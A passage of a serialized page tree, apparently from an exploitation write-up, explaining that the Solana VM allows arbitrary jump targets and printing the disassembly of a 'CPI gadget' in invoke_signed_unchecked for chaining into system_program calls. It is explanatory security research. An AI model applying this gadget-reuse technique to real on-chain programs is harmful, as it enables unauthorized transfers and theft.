LR\n",{"type":25,"tag":201,"props":45040,"children":45041},{"class":203,"line":226},[45042],{"type":25,"tag":201,"props":45043,"children":45044},{},[45045],{"type":31,"value":45046},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":25,"tag":201,"props":45048,"children":45049},{"class":203,"line":278},[45050],{"type":25,"tag":201,"props":45051,"children":45052},{},[45053],{"type":31,"value":45054},"    B --> C[2: process]\n",{"type":25,"tag":201,"props":45056,"children":45057},{"class":203,"line":311},[45058],{"type":25,"tag":201,"props":45059,"children":45060},{},[45061],{"type":31,"value":45062},"    C --> D[3: gadget1]\n",{"type":25,"tag":201,"props":45064,"children":45065},{"class":203,"line":330},[45066],{"type":25,"tag":201,"props":45067,"children":45068},{},[45069],{"type":31,"value":45070},"    C --> E[3: process]\n",{"type":25,"tag":201,"props":45072,"children":45073},{"class":203,"line":397},[45074],{"type":25,"tag":201,"props":45075,"children":45076},{},[45077],{"type":31,"value":45078},"    E --> F[4: gadget2]\n",{"type":25,"tag":201,"props":45080,"children":45081},{"class":203,"line":437},[45082],{"type":25,"tag":201,"props":45083,"children":45084},{},[45085],{"type":31,"value":45086},"    E --> G[...]\n",{"type":25,"tag":34,"props":45088,"children":45089},{},[45090],{"type":31,"value":45091},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":25,"tag":34,"props":45093,"children":45094},{},[45095,45097,45103],{"type":31,"value":45096},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":25,"tag":71,"props":45098,"children":45100},{"href":41558,"rel":45099},[75],[45101],{"type":31,"value":45102},"Binary Ninja",{"type":31,"value":45104}," to find a suitable gadget for this.",{"type":25,"tag":34,"props":45106,"children":45107},{},[45108,45110,45117],{"type":31,"value":45109},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":25,"tag":71,"props":45111,"children":45114},{"href":45112,"rel":45113},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[75],[45115],{"type":31,"value":45116},"skip the strip pass",{"type":31,"value":80},{"type":25,"tag":40,"props":45119,"children":45121},{"id":45120},"cpi-gadget",[45122],{"type":31,"value":45123},"CPI Gadget",{"type":25,"tag":34,"props":45125,"children":45126},{},[45127,45129,45134,45136,45143,45145,45151],{"type":31,"value":45128},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":25,"tag":115,"props":45130,"children":45132},{"className":45131},[],[45133],{"type":31,"value":39366},{"type":31,"value":45135}," function. This function calls into the solana sdk's function ",{"type":25,"tag":71,"props":45137,"children":45140},{"href":45138,"rel":45139},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[75],[45141],{"type":31,"value":45142},"invoke_signed_unchecked",{"type":31,"value":45144},", yielding a powerful gadget at the address ",{"type":25,"tag":115,"props":45146,"children":45148},{"className":45147},[],[45149],{"type":31,"value":45150},"0x100001ba8",{"type":31,"value":80},{"type":25,"tag":191,"props":45153,"children":45155},{"className":4487,"code":45154,"language":4486,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[45156],{"type":25,"tag":115,"props":45157,"children":45158},{"__ignoreMap":7},[45159,45184,45240,45291,45343,45395,45418,45466,45473,45505,45556,45614,45648,45655,45704,45734,45809,45816,45867,45913,45920,45951,46002,46032,46054,46061,46112,46157,46164,46215,46243,46264,46271],{"type":25,"tag":201,"props":45160,"children":45161},{"class":203,"line":204},[45162,45166,45170,45175,45179],{"type":25,"tag":201,"props":45163,"children":45164},{"style":220},[45165],{"type":31,"value":15155},{"type":25,"tag":201,"props":45167,"children":45168},{"style":261},[45169],{"type":31,"value":4988},{"type":25,"tag":201,"props":45171,"children":45172},{"style":220},[45173],{"type":31,"value":45174},"program",{"type":25,"tag":201,"props":45176,"children":45177},{"style":261},[45178],{"type":31,"value":4988},{"type":25,"tag":201,"props":45180,"children":45181},{"style":246},[45182],{"type":31,"value":45183},"invoke_signed_unchecked\n",{"type":25,"tag":201,"props":45185,"children":45186},{"class":203,"line":226},[45187,45192,45197,45202,45207,45212,45217,45221,45226,45231,45236],{"type":25,"tag":201,"props":45188,"children":45189},{"style":246},[45190],{"type":31,"value":45191},"100001ba8",{"type":25,"tag":201,"props":45193,"children":45194},{"style":246},[45195],{"type":31,"value":45196},"  79a278ff00000000",{"type":25,"tag":201,"props":45198,"children":45199},{"style":246},[45200],{"type":31,"value":45201},"   ldxdw",{"type":25,"tag":201,"props":45203,"children":45204},{"style":246},[45205],{"type":31,"value":45206}," r2",{"type":25,"tag":201,"props":45208,"children":45209},{"style":220},[45210],{"type":31,"value":45211},", [",{"type":25,"tag":201,"props":45213,"children":45214},{"style":246},[45215],{"type":31,"value":45216},"r10",{"type":25,"tag":201,"props":45218,"children":45219},{"style":261},[45220],{"type":31,"value":5832},{"type":25,"tag":201,"props":45222,"children":45223},{"style":426},[45224],{"type":31,"value":45225},"136",{"type":25,"tag":201,"props":45227,"children":45228},{"style":220},[45229],{"type":31,"value":45230},"] {",{"type":25,"tag":201,"props":45232,"children":45233},{"style":246},[45234],{"type":31,"value":45235},"var_88",{"type":25,"tag":201,"props":45237,"children":45238},{"style":220},[45239],{"type":31,"value":1187},{"type":25,"tag":201,"props":45241,"children":45242},{"class":203,"line":278},[45243,45248,45253,45257,45262,45266,45270,45274,45278,45282,45287],{"type":25,"tag":201,"props":45244,"children":45245},{"style":246},[45246],{"type":31,"value":45247},"100001bb0",{"type":25,"tag":201,"props":45249,"children":45250},{"style":246},[45251],{"type":31,"value":45252},"  79a380ff00000000",{"type":25,"tag":201,"props":45254,"children":45255},{"style":246},[45256],{"type":31,"value":45201},{"type":25,"tag":201,"props":45258,"children":45259},{"style":246},[45260],{"type":31,"value":45261}," r3",{"type":25,"tag":201,"props":45263,"children":45264},{"style":220},[45265],{"type":31,"value":45211},{"type":25,"tag":201,"props":45267,"children":45268},{"style":246},[45269],{"type":31,"value":45216},{"type":25,"tag":201,"props":45271,"children":45272},{"style":261},[45273],{"type":31,"value":5832},{"type":25,"tag":201,"props":45275,"children":45276},{"style":426},[45277],{"type":31,"value":31331},{"type":25,"tag":201,"props":45279,"children":45280},{"style":220},[45281],{"type":31,"value":45230},{"type":25,"tag":201,"props":45283,"children":45284},{"style":246},[45285],{"type":31,"value":45286},"var_80",{"type":25,"tag":201,"props":45288,"children":45289},{"style":220},[45290],{"type":31,"value":1187},{"type":25,"tag":201,"props":45292,"children":45293},{"class":203,"line":311},[45294,45299,45304,45308,45313,45317,45321,45325,45330,45334,45339],{"type":25,"tag":201,"props":45295,"children":45296},{"style":246},[45297],{"type":31,"value":45298},"100001bb8",{"type":25,"tag":201,"props":45300,"children":45301},{"style":246},[45302],{"type":31,"value":45303},"  79a468ff00000000",{"type":25,"tag":201,"props":45305,"children":45306},{"style":246},[45307],{"type":31,"value":45201},{"type":25,"tag":201,"props":45309,"children":45310},{"style":246},[45311],{"type":31,"value":45312}," r4",{"type":25,"tag":201,"props":45314,"children":45315},{"style":220},[45316],{"type":31,"value":45211},{"type":25,"tag":201,"props":45318,"children":45319},{"style":246},[45320],{"type":31,"value":45216},{"type":25,"tag":201,"props":45322,"children":45323},{"style":261},[45324],{"type":31,"value":5832},{"type":25,"tag":201,"props":45326,"children":45327},{"style":426},[45328],{"type":31,"value":45329},"152",{"type":25,"tag":201,"props":45331,"children":45332},{"style":220},[45333],{"type":31,"value":45230},{"type":25,"tag":201,"props":45335,"children":45336},{"style":246},[45337],{"type":31,"value":45338},"var_98",{"type":25,"tag":201,"props":45340,"children":45341},{"style":220},[45342],{"type":31,"value":1187},{"type":25,"tag":201,"props":45344,"children":45345},{"class":203,"line":330},[45346,45351,45356,45360,45365,45369,45373,45377,45382,45386,45391],{"type":25,"tag":201,"props":45347,"children":45348},{"style":246},[45349],{"type":31,"value":45350},"100001bc0",{"type":25,"tag":201,"props":45352,"children":45353},{"style":246},[45354],{"type":31,"value":45355},"  79a570ff00000000",{"type":25,"tag":201,"props":45357,"children":45358},{"style":246},[45359],{"type":31,"value":45201},{"type":25,"tag":201,"props":45361,"children":45362},{"style":246},[45363],{"type":31,"value":45364}," r5",{"type":25,"tag":201,"props":45366,"children":45367},{"style":220},[45368],{"type":31,"value":45211},{"type":25,"tag":201,"props":45370,"children":45371},{"style":246},[45372],{"type":31,"value":45216},{"type":25,"tag":201,"props":45374,"children":45375},{"style":261},[45376],{"type":31,"value":5832},{"type":25,"tag":201,"props":45378,"children":45379},{"style":426},[45380],{"type":31,"value":45381},"144",{"type":25,"tag":201,"props":45383,"children":45384},{"style":220},[45385],{"type":31,"value":45230},{"type":25,"tag":201,"props":45387,"children":45388},{"style":246},[45389],{"type":31,"value":45390},"var_90",{"type":25,"tag":201,"props":45392,"children":45393},{"style":220},[45394],{"type":31,"value":1187},{"type":25,"tag":201,"props":45396,"children":45397},{"class":203,"line":397},[45398,45403,45408,45413],{"type":25,"tag":201,"props":45399,"children":45400},{"style":246},[45401],{"type":31,"value":45402},"100001bc8",{"type":25,"tag":201,"props":45404,"children":45405},{"style":426},[45406],{"type":31,"value":45407},"  8520000020100000",{"type":25,"tag":201,"props":45409,"children":45410},{"style":246},[45411],{"type":31,"value":45412},"   call",{"type":25,"tag":201,"props":45414,"children":45415},{"style":246},[45416],{"type":31,"value":45417}," sol_invoke_signed_rust\n",{"type":25,"tag":201,"props":45419,"children":45420},{"class":203,"line":437},[45421,45426,45431,45436,45440,45444,45448,45452,45457,45461],{"type":25,"tag":201,"props":45422,"children":45423},{"style":246},[45424],{"type":31,"value":45425},"100001bd0",{"type":25,"tag":201,"props":45427,"children":45428},{"style":426},[45429],{"type":31,"value":45430},"  5500040000000000",{"type":25,"tag":201,"props":45432,"children":45433},{"style":246},[45434],{"type":31,"value":45435},"   jne",{"type":25,"tag":201,"props":45437,"children":45438},{"style":220},[45439],{"type":31,"value":3208},{"type":25,"tag":201,"props":45441,"children":45442},{"style":261},[45443],{"type":31,"value":5886},{"type":25,"tag":201,"props":45445,"children":45446},{"style":426},[45447],{"type":31,"value":19025},{"type":25,"tag":201,"props":45449,"children":45450},{"style":220},[45451],{"type":31,"value":7330},{"type":25,"tag":201,"props":45453,"children":45454},{"style":246},[45455],{"type":31,"value":45456},"r0",{"type":25,"tag":201,"props":45458,"children":45459},{"style":220},[45460],{"type":31,"value":919},{"type":25,"tag":201,"props":45462,"children":45463},{"style":426},[45464],{"type":31,"value":45465},"0x0\n",{"type":25,"tag":201,"props":45467,"children":45468},{"class":203,"line":464},[45469],{"type":25,"tag":201,"props":45470,"children":45471},{"emptyLinePlaceholder":17},[45472],{"type":31,"value":496},{"type":25,"tag":201,"props":45474,"children":45475},{"class":203,"line":490},[45476,45481,45486,45491,45496,45500],{"type":25,"tag":201,"props":45477,"children":45478},{"style":246},[45479],{"type":31,"value":45480},"100001bd8",{"type":25,"tag":201,"props":45482,"children":45483},{"style":246},[45484],{"type":31,"value":45485},"  b701000018000000",{"type":25,"tag":201,"props":45487,"children":45488},{"style":246},[45489],{"type":31,"value":45490},"   mov",{"type":25,"tag":201,"props":45492,"children":45493},{"style":246},[45494],{"type":31,"value":45495}," r1",{"type":25,"tag":201,"props":45497,"children":45498},{"style":220},[45499],{"type":31,"value":919},{"type":25,"tag":201,"props":45501,"children":45502},{"style":426},[45503],{"type":31,"value":45504},"0x18\n",{"type":25,"tag":201,"props":45506,"children":45507},{"class":203,"line":499},[45508,45513,45518,45522,45526,45530,45534,45538,45543,45547,45552],{"type":25,"tag":201,"props":45509,"children":45510},{"style":246},[45511],{"type":31,"value":45512},"100001be0",{"type":25,"tag":201,"props":45514,"children":45515},{"style":246},[45516],{"type":31,"value":45517},"  79a288ff00000000",{"type":25,"tag":201,"props":45519,"children":45520},{"style":246},[45521],{"type":31,"value":45201},{"type":25,"tag":201,"props":45523,"children":45524},{"style":246},[45525],{"type":31,"value":45206},{"type":25,"tag":201,"props":45527,"children":45528},{"style":220},[45529],{"type":31,"value":45211},{"type":25,"tag":201,"props":45531,"children":45532},{"style":246},[45533],{"type":31,"value":45216},{"type":25,"tag":201,"props":45535,"children":45536},{"style":261},[45537],{"type":31,"value":5832},{"type":25,"tag":201,"props":45539,"children":45540},{"style":426},[45541],{"type":31,"value":45542},"120",{"type":25,"tag":201,"props":45544,"children":45545},{"style":220},[45546],{"type":31,"value":45230},{"type":25,"tag":201,"props":45548,"children":45549},{"style":246},[45550],{"type":31,"value":45551},"var_78",{"type":25,"tag":201,"props":45553,"children":45554},{"style":220},[45555],{"type":31,"value":1187},{"type":25,"tag":201,"props":45557,"children":45558},{"class":203,"line":522},[45559,45564,45569,45574,45578,45583,45587,45591,45595,45600,45605,45610],{"type":25,"tag":201,"props":45560,"children":45561},{"style":246},[45562],{"type":31,"value":45563},"100001be8",{"type":25,"tag":201,"props":45565,"children":45566},{"style":426},[45567],{"type":31,"value":45568},"  6312000000000000",{"type":25,"tag":201,"props":45570,"children":45571},{"style":246},[45572],{"type":31,"value":45573},"   stxw",{"type":25,"tag":201,"props":45575,"children":45576},{"style":220},[45577],{"type":31,"value":4088},{"type":25,"tag":201,"props":45579,"children":45580},{"style":246},[45581],{"type":31,"value":45582},"r2",{"type":25,"tag":201,"props":45584,"children":45585},{"style":261},[45586],{"type":31,"value":5832},{"type":25,"tag":201,"props":45588,"children":45589},{"style":426},[45590],{"type":31,"value":429},{"type":25,"tag":201,"props":45592,"children":45593},{"style":220},[45594],{"type":31,"value":1930},{"type":25,"tag":201,"props":45596,"children":45597},{"style":246},[45598],{"type":31,"value":45599},"r1",{"type":25,"tag":201,"props":45601,"children":45602},{"style":220},[45603],{"type":31,"value":45604},"  {",{"type":25,"tag":201,"props":45606,"children":45607},{"style":426},[45608],{"type":31,"value":45609},"0x18",{"type":25,"tag":201,"props":45611,"children":45612},{"style":220},[45613],{"type":31,"value":1187},{"type":25,"tag":201,"props":45615,"children":45616},{"class":203,"line":531},[45617,45622,45627,45632,45636,45640,45644],{"type":25,"tag":201,"props":45618,"children":45619},{"style":246},[45620],{"type":31,"value":45621},"100001bf0",{"type":25,"tag":201,"props":45623,"children":45624},{"style":426},[45625],{"type":31,"value":45626},"  0500030000000000",{"type":25,"tag":201,"props":45628,"children":45629},{"style":246},[45630],{"type":31,"value":45631},"   ja",{"type":25,"tag":201,"props":45633,"children":45634},{"style":220},[45635],{"type":31,"value":3208},{"type":25,"tag":201,"props":45637,"children":45638},{"style":261},[45639],{"type":31,"value":5886},{"type":25,"tag":201,"props":45641,"children":45642},{"style":426},[45643],{"type":31,"value":18792},{"type":25,"tag":201,"props":45645,"children":45646},{"style":220},[45647],{"type":31,"value":1308},{"type":25,"tag":201,"props":45649,"children":45650},{"class":203,"line":550},[45651],{"type":25,"tag":201,"props":45652,"children":45653},{"emptyLinePlaceholder":17},[45654],{"type":31,"value":496},{"type":25,"tag":201,"props":45656,"children":45657},{"class":203,"line":563},[45658,45663,45668,45672,45676,45680,45684,45688,45692,45696,45700],{"type":25,"tag":201,"props":45659,"children":45660},{"style":246},[45661],{"type":31,"value":45662},"100001bf8",{"type":25,"tag":201,"props":45664,"children":45665},{"style":246},[45666],{"type":31,"value":45667},"  79a188ff00000000",{"type":25,"tag":201,"props":45669,"children":45670},{"style":246},[45671],{"type":31,"value":45201},{"type":25,"tag":201,"props":45673,"children":45674},{"style":246},[45675],{"type":31,"value":45495},{"type":25,"tag":201,"props":45677,"children":45678},{"style":220},[45679],{"type":31,"value":45211},{"type":25,"tag":201,"props":45681,"children":45682},{"style":246},[45683],{"type":31,"value":45216},{"type":25,"tag":201,"props":45685,"children":45686},{"style":261},[45687],{"type":31,"value":5832},{"type":25,"tag":201,"props":45689,"children":45690},{"style":426},[45691],{"type":31,"value":45542},{"type":25,"tag":201,"props":45693,"children":45694},{"style":220},[45695],{"type":31,"value":45230},{"type":25,"tag":201,"props":45697,"children":45698},{"style":246},[45699],{"type":31,"value":45551},{"type":25,"tag":201,"props":45701,"children":45702},{"style":220},[45703],{"type":31,"value":1187},{"type":25,"tag":201,"props":45705,"children":45706},{"class":203,"line":572},[45707,45712,45717,45721,45725,45729],{"type":25,"tag":201,"props":45708,"children":45709},{"style":246},[45710],{"type":31,"value":45711},"100001c00",{"type":25,"tag":201,"props":45713,"children":45714},{"style":246},[45715],{"type":31,"value":45716},"  bf02000000000000",{"type":25,"tag":201,"props":45718,"children":45719},{"style":246},[45720],{"type":31,"value":45490},{"type":25,"tag":201,"props":45722,"children":45723},{"style":246},[45724],{"type":31,"value":45206},{"type":25,"tag":201,"props":45726,"children":45727},{"style":220},[45728],{"type":31,"value":919},{"type":25,"tag":201,"props":45730,"children":45731},{"style":246},[45732],{"type":31,"value":45733},"r0\n",{"type":25,"tag":201,"props":45735,"children":45736},{"class":203,"line":590},[45737,45742,45747,45751,45756,45760,45765,45769,45773,45778,45782,45786,45791,45796,45800,45804],{"type":25,"tag":201,"props":45738,"children":45739},{"style":246},[45740],{"type":31,"value":45741},"100001c08",{"type":25,"tag":201,"props":45743,"children":45744},{"style":426},[45745],{"type":31,"value":45746},"  8510000075000000",{"type":25,"tag":201,"props":45748,"children":45749},{"style":246},[45750],{"type":31,"value":45412},{"type":25,"tag":201,"props":45752,"children":45753},{"style":4925},[45754],{"type":31,"value":45755}," _ZN94_",{"type":25,"tag":201,"props":45757,"children":45758},{"style":261},[45759],{"type":31,"value":11791},{"type":25,"tag":201,"props":45761,"children":45762},{"style":4925},[45763],{"type":31,"value":45764},"LT",{"type":25,"tag":201,"props":45766,"children":45767},{"style":261},[45768],{"type":31,"value":11791},{"type":25,"tag":201,"props":45770,"children":45771},{"style":246},[45772],{"type":31,"value":15155},{"type":25,"tag":201,"props":45774,"children":45775},{"style":261},[45776],{"type":31,"value":45777},"...$",{"type":25,"tag":201,"props":45779,"children":45780},{"style":246},[45781],{"type":31,"value":9551},{"type":25,"tag":201,"props":45783,"children":45784},{"style":261},[45785],{"type":31,"value":11791},{"type":25,"tag":201,"props":45787,"children":45788},{"style":4925},[45789],{"type":31,"value":45790},"GT",{"type":25,"tag":201,"props":45792,"children":45793},{"style":261},[45794],{"type":31,"value":45795},"$$",{"type":25,"tag":201,"props":45797,"children":45798},{"style":4925},[45799],{"type":31,"value":45790},{"type":25,"tag":201,"props":45801,"children":45802},{"style":261},[45803],{"type":31,"value":11791},{"type":25,"tag":201,"props":45805,"children":45806},{"style":220},[45807],{"type":31,"value":45808},"4from17ha0d289b72861b06dE\n",{"type":25,"tag":201,"props":45810,"children":45811},{"class":203,"line":608},[45812],{"type":25,"tag":201,"props":45813,"children":45814},{"emptyLinePlaceholder":17},[45815],{"type":31,"value":496},{"type":25,"tag":201,"props":45817,"children":45818},{"class":203,"line":617},[45819,45824,45829,45833,45837,45841,45845,45849,45854,45858,45863],{"type":25,"tag":201,"props":45820,"children":45821},{"style":246},[45822],{"type":31,"value":45823},"100001c10",{"type":25,"tag":201,"props":45825,"children":45826},{"style":246},[45827],{"type":31,"value":45828},"  79a2b8ff00000000",{"type":25,"tag":201,"props":45830,"children":45831},{"style":246},[45832],{"type":31,"value":45201},{"type":25,"tag":201,"props":45834,"children":45835},{"style":246},[45836],{"type":31,"value":45206},{"type":25,"tag":201,"props":45838,"children":45839},{"style":220},[45840],{"type":31,"value":45211},{"type":25,"tag":201,"props":45842,"children":45843},{"style":246},[45844],{"type":31,"value":45216},{"type":25,"tag":201,"props":45846,"children":45847},{"style":261},[45848],{"type":31,"value":5832},{"type":25,"tag":201,"props":45850,"children":45851},{"style":426},[45852],{"type":31,"value":45853},"72",{"type":25,"tag":201,"props":45855,"children":45856},{"style":220},[45857],{"type":31,"value":45230},{"type":25,"tag":201,"props":45859,"children":45860},{"style":246},[45861],{"type":31,"value":45862},"var_48",{"type":25,"tag":201,"props":45864,"children":45865},{"style":220},[45866],{"type":31,"value":1187},{"type":25,"tag":201,"props":45868,"children":45869},{"class":203,"line":625},[45870,45875,45880,45885,45889,45893,45897,45901,45905,45909],{"type":25,"tag":201,"props":45871,"children":45872},{"style":246},[45873],{"type":31,"value":45874},"100001c18",{"type":25,"tag":201,"props":45876,"children":45877},{"style":426},[45878],{"type":31,"value":45879},"  1502040000000000",{"type":25,"tag":201,"props":45881,"children":45882},{"style":246},[45883],{"type":31,"value":45884},"   jeq",{"type":25,"tag":201,"props":45886,"children":45887},{"style":220},[45888],{"type":31,"value":3208},{"type":25,"tag":201,"props":45890,"children":45891},{"style":261},[45892],{"type":31,"value":5886},{"type":25,"tag":201,"props":45894,"children":45895},{"style":426},[45896],{"type":31,"value":19025},{"type":25,"tag":201,"props":45898,"children":45899},{"style":220},[45900],{"type":31,"value":7330},{"type":25,"tag":201,"props":45902,"children":45903},{"style":246},[45904],{"type":31,"value":45582},{"type":25,"tag":201,"props":45906,"children":45907},{"style":220},[45908],{"type":31,"value":919},{"type":25,"tag":201,"props":45910,"children":45911},{"style":426},[45912],{"type":31,"value":45465},{"type":25,"tag":201,"props":45914,"children":45915},{"class":203,"line":642},[45916],{"type":25,"tag":201,"props":45917,"children":45918},{"emptyLinePlaceholder":17},[45919],{"type":31,"value":496},{"type":25,"tag":201,"props":45921,"children":45922},{"class":203,"line":659},[45923,45928,45933,45938,45942,45946],{"type":25,"tag":201,"props":45924,"children":45925},{"style":246},[45926],{"type":31,"value":45927},"100001c20",{"type":25,"tag":201,"props":45929,"children":45930},{"style":426},[45931],{"type":31,"value":45932},"  2702000022000000",{"type":25,"tag":201,"props":45934,"children":45935},{"style":246},[45936],{"type":31,"value":45937},"   mul",{"type":25,"tag":201,"props":45939,"children":45940},{"style":246},[45941],{"type":31,"value":45206},{"type":25,"tag":201,"props":45943,"children":45944},{"style":220},[45945],{"type":31,"value":919},{"type":25,"tag":201,"props":45947,"children":45948},{"style":426},[45949],{"type":31,"value":45950},"0x22\n",{"type":25,"tag":201,"props":45952,"children":45953},{"class":203,"line":667},[45954,45959,45964,45968,45972,45976,45980,45984,45989,45993,45998],{"type":25,"tag":201,"props":45955,"children":45956},{"style":246},[45957],{"type":31,"value":45958},"100001c28",{"type":25,"tag":201,"props":45960,"children":45961},{"style":246},[45962],{"type":31,"value":45963},"  79a1b0ff00000000",{"type":25,"tag":201,"props":45965,"children":45966},{"style":246},[45967],{"type":31,"value":45201},{"type":25,"tag":201,"props":45969,"children":45970},{"style":246},[45971],{"type":31,"value":45495},{"type":25,"tag":201,"props":45973,"children":45974},{"style":220},[45975],{"type":31,"value":45211},{"type":25,"tag":201,"props":45977,"children":45978},{"style":246},[45979],{"type":31,"value":45216},{"type":25,"tag":201,"props":45981,"children":45982},{"style":261},[45983],{"type":31,"value":5832},{"type":25,"tag":201,"props":45985,"children":45986},{"style":426},[45987],{"type":31,"value":45988},"80",{"type":25,"tag":201,"props":45990,"children":45991},{"style":220},[45992],{"type":31,"value":45230},{"type":25,"tag":201,"props":45994,"children":45995},{"style":246},[45996],{"type":31,"value":45997},"var_50",{"type":25,"tag":201,"props":45999,"children":46000},{"style":220},[46001],{"type":31,"value":1187},{"type":25,"tag":201,"props":46003,"children":46004},{"class":203,"line":676},[46005,46010,46015,46019,46023,46027],{"type":25,"tag":201,"props":46006,"children":46007},{"style":246},[46008],{"type":31,"value":46009},"100001c30",{"type":25,"tag":201,"props":46011,"children":46012},{"style":246},[46013],{"type":31,"value":46014},"  b703000001000000",{"type":25,"tag":201,"props":46016,"children":46017},{"style":246},[46018],{"type":31,"value":45490},{"type":25,"tag":201,"props":46020,"children":46021},{"style":246},[46022],{"type":31,"value":45261},{"type":25,"tag":201,"props":46024,"children":46025},{"style":220},[46026],{"type":31,"value":919},{"type":25,"tag":201,"props":46028,"children":46029},{"style":426},[46030],{"type":31,"value":46031},"0x1\n",{"type":25,"tag":201,"props":46033,"children":46034},{"class":203,"line":694},[46035,46040,46045,46049],{"type":25,"tag":201,"props":46036,"children":46037},{"style":246},[46038],{"type":31,"value":46039},"100001c38",{"type":25,"tag":201,"props":46041,"children":46042},{"style":246},[46043],{"type":31,"value":46044},"  8510000003feffff",{"type":25,"tag":201,"props":46046,"children":46047},{"style":246},[46048],{"type":31,"value":45412},{"type":25,"tag":201,"props":46050,"children":46051},{"style":246},[46052],{"type":31,"value":46053}," __rust_dealloc\n",{"type":25,"tag":201,"props":46055,"children":46056},{"class":203,"line":707},[46057],{"type":25,"tag":201,"props":46058,"children":46059},{"emptyLinePlaceholder":17},[46060],{"type":31,"value":496},{"type":25,"tag":201,"props":46062,"children":46063},{"class":203,"line":715},[46064,46069,46074,46078,46082,46086,46090,46094,46099,46103,46108],{"type":25,"tag":201,"props":46065,"children":46066},{"style":246},[46067],{"type":31,"value":46068},"100001c40",{"type":25,"tag":201,"props":46070,"children":46071},{"style":246},[46072],{"type":31,"value":46073},"  79a2d0ff00000000",{"type":25,"tag":201,"props":46075,"children":46076},{"style":246},[46077],{"type":31,"value":45201},{"type":25,"tag":201,"props":46079,"children":46080},{"style":246},[46081],{"type":31,"value":45206},{"type":25,"tag":201,"props":46083,"children":46084},{"style":220},[46085],{"type":31,"value":45211},{"type":25,"tag":201,"props":46087,"children":46088},{"style":246},[46089],{"type":31,"value":45216},{"type":25,"tag":201,"props":46091,"children":46092},{"style":261},[46093],{"type":31,"value":5832},{"type":25,"tag":201,"props":46095,"children":46096},{"style":426},[46097],{"type":31,"value":46098},"48",{"type":25,"tag":201,"props":46100,"children":46101},{"style":220},[46102],{"type":31,"value":45230},{"type":25,"tag":201,"props":46104,"children":46105},{"style":246},[46106],{"type":31,"value":46107},"var_30",{"type":25,"tag":201,"props":46109,"children":46110},{"style":220},[46111],{"type":31,"value":1187},{"type":25,"tag":201,"props":46113,"children":46114},{"class":203,"line":732},[46115,46120,46125,46129,46133,46137,46141,46145,46149,46153],{"type":25,"tag":201,"props":46116,"children":46117},{"style":246},[46118],{"type":31,"value":46119},"100001c48",{"type":25,"tag":201,"props":46121,"children":46122},{"style":426},[46123],{"type":31,"value":46124},"  1502030000000000",{"type":25,"tag":201,"props":46126,"children":46127},{"style":246},[46128],{"type":31,"value":45884},{"type":25,"tag":201,"props":46130,"children":46131},{"style":220},[46132],{"type":31,"value":3208},{"type":25,"tag":201,"props":46134,"children":46135},{"style":261},[46136],{"type":31,"value":5886},{"type":25,"tag":201,"props":46138,"children":46139},{"style":426},[46140],{"type":31,"value":18792},{"type":25,"tag":201,"props":46142,"children":46143},{"style":220},[46144],{"type":31,"value":7330},{"type":25,"tag":201,"props":46146,"children":46147},{"style":246},[46148],{"type":31,"value":45582},{"type":25,"tag":201,"props":46150,"children":46151},{"style":220},[46152],{"type":31,"value":919},{"type":25,"tag":201,"props":46154,"children":46155},{"style":426},[46156],{"type":31,"value":45465},{"type":25,"tag":201,"props":46158,"children":46159},{"class":203,"line":749},[46160],{"type":25,"tag":201,"props":46161,"children":46162},{"emptyLinePlaceholder":17},[46163],{"type":31,"value":496},{"type":25,"tag":201,"props":46165,"children":46166},{"class":203,"line":757},[46167,46172,46177,46181,46185,46189,46193,46197,46202,46206,46211],{"type":25,"tag":201,"props":46168,"children":46169},{"style":246},[46170],{"type":31,"value":46171},"100001c50",{"type":25,"tag":201,"props":46173,"children":46174},{"style":246},[46175],{"type":31,"value":46176},"  